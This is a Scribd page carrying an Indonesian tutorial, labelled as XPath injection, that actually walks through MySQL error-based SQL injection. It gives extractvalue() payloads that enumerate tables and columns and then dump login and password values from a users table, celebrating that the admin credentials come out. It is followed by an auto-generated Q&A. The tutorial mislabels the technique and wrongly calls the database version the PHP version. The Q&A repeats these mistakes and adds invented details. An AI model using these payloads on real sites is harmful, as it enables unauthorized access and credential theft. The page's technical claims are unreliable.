0% menganggap dokumen ini bermanfaat (0 suara)
61 tayangan10 halaman

Teknik Serangan XPath Injection

Teknik Xpath injection digunakan untuk mengeksploitasi aplikasi yang membangun pertanyaan XPath dari masukan pengguna untuk mengakses dokumen XML database secara tidak sah. Teknik ini memanfaatkan celah keamanan pada aplikasi untuk menyuntikkan kueri dan mengekstrak data sensitif seperti nama tabel, kolom dan isi datanya.

Diunggah oleh

Naumi
Hak Cipta
© All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd
0% menganggap dokumen ini bermanfaat (0 suara)
61 tayangan10 halaman

Teknik Serangan XPath Injection

Teknik Xpath injection digunakan untuk mengeksploitasi aplikasi yang membangun pertanyaan XPath dari masukan pengguna untuk mengakses dokumen XML database secara tidak sah. Teknik ini memanfaatkan celah keamanan pada aplikasi untuk menyuntikkan kueri dan mengekstrak data sensitif seperti nama tabel, kolom dan isi datanya.

Diunggah oleh

Naumi
Hak Cipta
© All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd

1

Xpath injection
Sebelum kita lebih jauh untuk masuk teknik ini, alangkah lebih baik kita tau pengertian dari
teknik ini

Apa itu xpath?

XPath pada dasarnya sintaks untuk mendefinisikan bagian dari dokumen XML yang menggunakan
ekspresi jalan untuk menavigasi dalam dokumen XML dan yang tidak dengan bantuan fungsi standar
standar seperti nilai string, nilai numerik, tanggal dan perbandingan waktu, urutan dan dll Node
manipulasi.
Saat ini sebagian besar webmaster menggunakan dokumen XML untuk menyimpan data sensitif dan
menggunakan XPath untuk menavigasi data dalam dokumen XML. Keuntungan utama untuk
menggunakan dokumen XML adalah bahwa mereka begitu kompleks sehingga mereka hampir tidak
terbaca untuk manusia. Tapi kita tahu di mana ada kompleksitas, ada cara bagi hacker untuk memainkan
peran mereka. Jadi teman mari kita mulai tutorial saya tentang Xpath injection ..

Lalu apa yang dimaksud Xpath injection?

XPath Injection adalah teknik serangan yang digunakan untuk mengeksploitasi aplikasi yang membangun
XPath (XML Bahasa Path) pertanyaan dari pengguna-masukan yang disediakan untuk query atau
menavigasi dokumen XML. Hal ini dapat digunakan langsung oleh aplikasi untuk query dokumen XML,
sebagai bagian dari operasi besar seperti menerapkan transformasi XSLT untuk dokumen XML, atau
menerapkan XQuery untuk dokumen XML.

Atau penjelasan di atas kita sederhanakan menjadi


"Xpath injection ialah suatu teknik untuk menginjeksi database guna untuk mengambil data sensitif
di dalam dokumen XML yang ada dalam database di sebuah website."

Dalam Xpath injection, kami mencoba untuk menyuntikkan data ke dalam aplikasi sehingga dijalankan
dikendalikan oleh pengguna XPath query. Ketika berhasil disuntikkan, celah ini memungkinkan seorang
hacker untuk melewati sistem otentikasi lengkap atau mengakses informasi tanpa otorisasi yang tepat

2
teknik ini kita lakukan disat kita tidak menemukan jumlah kolom saat memasukan perintah order by

biar lebih jelas alangkah baiknya kita menyimak tutorial berikut ini?

Ok anggaplah kita telah menemukan bug SQL Injection tapi tidak menemukan jumlah kolom nya ketika
memasukan perintah order by atau ketika saat memasukan union select kita tidak menemukan nomor
injeksinya seperti pada contoh berikut ini

Kita coba injeksi dengan teknik xpath injection

Untuk menemukan versi php nya kita gunakan perintah

and extractvalue(rand(),concat(0x3a,version))--

contoh:

Dan hasilnya

3
Seperti kita lihat di atas versi php di web tersebut adalah [Link] alias versi 5, kerena teknik ini hanya
bisa digunakan pada versi 5 saja,
Langkah selanjutnya yaitu memunculkan nama-nama table yang ada dalam web tersebut dengan cara
Menggati perintah version() dengan select concat(table_name) from information_schema.tables
where table_schema=database() limit 0,1)
Sehingga menjadi

and extractvalue(rand(),concat(0x3a,(select concat(table_name) from information_schema.tables


where table_schema=database() limit 0,1)))--

Dan hasil yang kita dapat adalah

4
Selanjutnya kita cari nama table yang kita curigai sebagai sarang user admin

dengan mengganti limit 0,1 ke limit 1,1 atau limit 2,1 dan seterusnya sampai kita menemukan nama
table yang kita curigai

Dan hasilnya

5
Kali ini saya mencurigai table yang ada dalam di limit 4,1
Langkah selanjutnya ialah memunculkan nama kolom-kolom yang ada dalam table tersebut dengan cara
mengganti perintah table_name dengan perintah column_name dan mengganti perintah .tables
setelah information_schema dengan .columns , serta mengganti perintah table_schema= menjadi
table_name= dan diikuti dengan hasil hash hexa atau mysql char dari nama table yang kita curigai
sebagai sarang admin

Sehingga perintahnya menjadi:

and extractvalue(rand(),concat(0x3a,(select concat(column_name) from information_schema.columns


where table_name=0x6c65645f7573657273 limit 0,1)))
6c65645f7573657273 adalah hasil hexa dari led_users

6
Dan hasilnya

Lalu selanjutnya mengetahui nama-nama colomnya dengan cara mengganti limit 0,1 ke limit 1,1 lalu ke
limt 2,1 dan seterusnya

7
Nah nama kolom-kolom dalam table di atas adalah id, login, dan pswd
Langkah selanjutnya ialah mengeluarkan data yang ada dalam kolom-kolom tersebut
Dengan cara mengganti perintah column_name dengan nama-nama kolom yang ada dalam table yang
kita buka tadi dan mengganti perintah information_schema.columns where
table_name=0x6c65645f7573657273 limit 0,1 dengan nama table yang kita buka tadi yaitu led_users

sehingga perintahnya menjadi

and extractvalue(rand(),concat(0x3a,(select concat(id,0x3a,login,0x3a,pswd) from led_users)))--

Dan hasilnya adalah

8
Nah keluar kan user pass adminnya ^_^

9
Xpath injection hanyalah salah satu teknik dan bukan satu-satunya teknik untuk mengatasi kasus
ketika jumlah table tidak ditemukan saat memasukan perintah order by dan ketika kita memasukan
perintah union select tidak menemukan angka injeksi

sekian tutorial singkat saya

ingat:

" jika kegagalan diibaratkan sebagai hujan, dan kesuksesan sebagai matahari,
maka dibutuhkan kedua-duanya untuk menghasilkan cahaya indah pelangi"

salam dari saya

X1N73CT

10

Common questions

Didukung oleh AI

While learning and teaching XPath injection techniques provide valuable insights into mitigating such vulnerabilities, they must be approached ethically. Responsible information security training involves emphasizing defensive skills rather than promoting malicious use. Teaching should focus on educating about potential threats to improve security measures, with clear ethical boundaries defined against abuse for unethical hacking or compromising data integrity .

Hackers bypass 'order by' command limitations, which fail by not revealing column counts, through the insertion of XPath injection. This involves using commands like 'and extractvalue(rand(),concat(0x3a,(select concat(table_name) ... )))' to iteratively extract database schema info directly, bypassing traditional SQL constraints and limitations by leveraging XML-based blind techniques to access database structure and content without 'order by' dependency .

XPath is a syntax used to define parts of an XML document, allowing navigation through the document using path expressions. It utilizes standard functions like string values, numerical values, date and time comparisons, and sequence manipulation. Webmasters use XPath to handle sensitive data stored in XML documents because of its complexity, which also makes it a target for hackers through injection techniques .

The complexity of XML documents provides security by complicating unauthorized human readability and access to structured data stored within; however, this complexity becomes a double-edged sword. It attracts exploitation attempts, such as XPath injection, where attackers leverage vulnerabilities in the application's XML parsing logic to gain unauthorized access, exploiting the very complexity intended to protect it .

Once a table name is identified, column names are extracted by adjusting the query to 'and extractvalue(rand(),concat(0x3a,(select concat(column_name) from information_schema.columns where table_name=hex_table_name limit 0,1)))'. Here, 'hex_table_name' is the hexadecimal representation of the suspicious table name. By incrementing the limit clause, column names like id, login, and pswd are revealed. Finally, known column names are used in the query 'and extractvalue(rand(),concat(0x3a,(select concat(id,0x3a,login,0x3a,pswd) from actual_table_name)))' to retrieve user data, like passwords .

To find tables suspected to contain user credentials, an attacker would replace the 'version()' function with 'select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1'. Adjusting the 'limit' clause from 0,1 to 1,1, 2,1, etc., crafts queries to sequentially reveal table names within the database until discovering a potentially sensitive table. The attacker uses educated guesses or further observations to focus on likely tables .

An attacker would resort to XPath injection when dealing with web applications that utilize XML documents instead of or in addition to SQL databases. Unlike traditional SQL injection, XPath injection targets the application’s XML handling logic, perfect for setups where data is parsed or retrieved as XML, bypassing SQL entirely. It is particularly useful where SQL defenses are strong, but XML query handling is not as secure or rigorous .

XPath injection specifically utilizing 'extractvalue()' function is constrained to PHP version 5 because later versions have patched the underlying vulnerabilities that allowed such injections easily. Attackers aiming to use XPath injection for extracting sensitive data need to ensure the targeted server’s PHP version is susceptible, as newer versions would generally prevent successful exploitation .

To determine the PHP version using XPath injection, one can utilize the command: 'and extractvalue(rand(),concat(0x3a,version))--'. This command attempts to execute an MySQL function that retrieves the PHP version number from the server. It only works on specific PHP versions, and successful execution indicates the PHP version, such as 5.1.6.1, allowing further targeted exploitation .

XPath injection exploits web applications by inserting user-controlled XPath queries into the application's XML processing logic. This injection allows attackers to bypass authentication systems, accessing sensitive information without proper authorization. The consequences include unauthorized data retrieval and potential manipulation of the application's XML processing logic, compromising the security and integrity of the data .

Anda mungkin juga menyukai